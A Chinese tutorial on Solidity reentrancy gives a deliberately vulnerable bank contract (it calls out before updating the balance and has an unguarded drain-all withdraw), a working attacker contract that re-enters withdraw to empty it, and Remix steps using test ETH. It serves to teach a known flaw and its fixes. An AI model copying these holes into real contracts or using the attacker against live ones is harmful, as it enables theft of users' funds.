任何从合约 A 到合约 B 的交互以及任何从合约 A 到合约 B 的 以太币Ether 的转移,都会将控制权交给合约 B。 这使得合约 B 能够在交互结束前回调 A 中的代码。
在合约中运用转账调用call方法,可以消耗完所有的gas,而send和transfer只消耗2300。
为了便面重入,可以使用“检查-生效-交互”(Checks-Effects-Interactions)模式,或者加锁限制:
以下两个合约模拟了攻击者和受害者,通过重入攻击,获得了受害者所有的ETH。
pragma solidity >=0.7.0 <=0.8.0;
// SPDX-License-Identifier: MIT
contract Bank {
uint256 constant public ethLower = 1 ether;
uint256 constant public ethUpper = 5 ether;
mapping(address => uint256) balances;
event depositEth(address sender,uint256 value);
event withdrawEth(address sender,uint256 value);
function depositEther() payable public{
require(msg.value >= ethLower);
require(msg.value <= ethUpper);
balances[msg.sender] += msg.value;
emit depositEth(msg.sender,msg.value);
}
function withdraw(uint256 amount) public{
require(balances[msg.sender] >= amount);
msg.sender.call{value: amount}("");
balances[msg.sender] -= amount;
emit withdrawEth(msg.sender,amount);
}
function withdraw() public {
msg.sender.transfer(address(this).balance);
}
function getBalance(address addr) public view returns(uint256){
return balances[addr];
}
function getTotal() public view returns(uint256){
return address(this).balance;
}
}
pragma solidity >=0.7.0 <=0.8.0;
// SPDX-License-Identifier: MIT
interface IRC20 {
function depositEther() external payable;
function withdraw(uint256 amount) external;
function getBalance(address addr) external view returns(uint256);
}
contract Attack {
address constant private addr = 0x78E74b14512f2f9d3C26aeE24d902Fef10F46d72;
IRC20 private tract;
event withdrawEth(address sender,uint256 value);
constructor(){
tract = IRC20(addr);
}
function getBalance() public view returns(uint){
return address(this).balance;
}
function despoit() public payable{
tract.depositEther{value:2 ether}();
tract.withdraw(1 ether);
}
function withdraw() public {
msg.sender.transfer(address(this).balance);
}
receive() external payable {
uint256 amount = tract.getBalance(address(this));
emit withdrawEth(msg.sender,amount);
if( amount >= 1 ether ){
tract.withdraw(1 ether);
}
}
}
步骤:1. 通过remix创建合约bank(B)和attack(C).
2.通过地址A向合约B 2次转账10ETH。此时合约B余额为10ETH。
3.通过地址A向合约C转账2ETH。此时合约C余额为2ETH。
4.通过合约C方法,往合约B中存入2ETH,触发提现,提取B全部的ETH。这个步骤gaslimit要给足,不然会失败。
5,B和C合约所有测试ETH都可以通过提现方法提出来。
参考:
https://learnblockchain.cn/docs/solidity/security-considerations.html#re-entance